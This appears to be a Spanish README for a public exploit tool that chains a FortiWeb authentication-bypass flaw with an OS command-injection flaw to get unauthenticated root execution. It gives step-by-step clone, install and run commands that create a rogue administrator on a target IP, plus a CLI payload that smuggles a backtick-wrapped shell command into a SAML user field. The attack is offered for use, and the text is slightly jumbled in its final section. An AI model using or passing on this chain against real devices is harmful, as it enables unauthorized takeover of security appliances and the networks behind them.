
Exploit de ejecución remota de código (RCE) en FortiWeb mediante la cadena CVE-2025-64446 + CVE-2025-58034
Este script encadena dos vulnerabilidades críticas en Fortinet FortiWeb para lograr ejecución remota de código no autenticada con privilegios de root:
CVE-2025-64446 – Omisión de autenticación mediante traversal de ruta relativa
Permite a un atacante no autenticado omitir la autenticación y crear una nueva cuenta administrativa.
CVE-2025-58034 – Inyección autenticada de comandos del sistema operativo
Un atacante autenticado (usando la cuenta creada en el paso 1) puede ejecutar comandos arbitrarios del sistema operativo como root mediante solicitudes HTTP manipuladas.
Al combinar estas dos vulnerabilidades, un atacante puede pasar de cero acceso a un compromiso total del sistema sin necesidad de credenciales previas.
Impacto final: Ejecución remota de código no autenticada (equivalente a shell root)
Cadena de ataque combinada:
Clonar el repositorio:
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
cd CVE-2025-64446_CVE-2025-58034
Instalar las dependencias:
pip install -r requirements.txt
Ejecutar el exploit completo (crea administrador + ejecuta comando):
python exploit.py <target_ip> [-u <username>] [-p <password>]
<target_ip>: La dirección IP o nombre de host del dispositivo FortiWeb vulnerable. Este es un argumento obligatorio.-u <username> (opcional): Especifica un nombre de usuario personalizado para la cuenta administrativa creada. Si no se proporciona, se usará un UUID.-p <password> (opcional): Especifica una contraseña personalizada para la cuenta administrativa creada. Si no se proporciona, el nombre de usuario se usará como contraseña.Ejemplo:
python exploit.py 192.168.1.100 -u admin123 -p password456
Esto intentará crear una cuenta administrativa con el nombre de usuario "admin123" y la contraseña "password456" en el dispositivo objetivo en 192.168.1.100.
Si no se especifican nombre de usuario y contraseña:


Después de iniciar sesión correctamente con la cuenta administrativa recién creada, un atacante puede explotar la vulnerabilidad de inyección de comandos autenticada mediante solicitudes especialmente manipuladas o directamente a través de la CLI de FortiWeb.
Un método de explotación fiable es usar el siguiente comando CLI (ejecutado desde la interfaz de línea de comandos de FortiWeb después de la autenticación):
config user saml-user
edit "`<YOUR COMMAND>`"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end

Después de la ejecución:
uid=0(root) gid=0(root) confirma RCE como root)Descargo de responsabilidad: Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El uso no autorizado contra sistemas que no posees o para los que no tienes permiso explícito de prueba es ilegal.
python exploit.py 192.168.1.100
El script generará un UUID aleatorio para el nombre de usuario y lo usará como contraseña.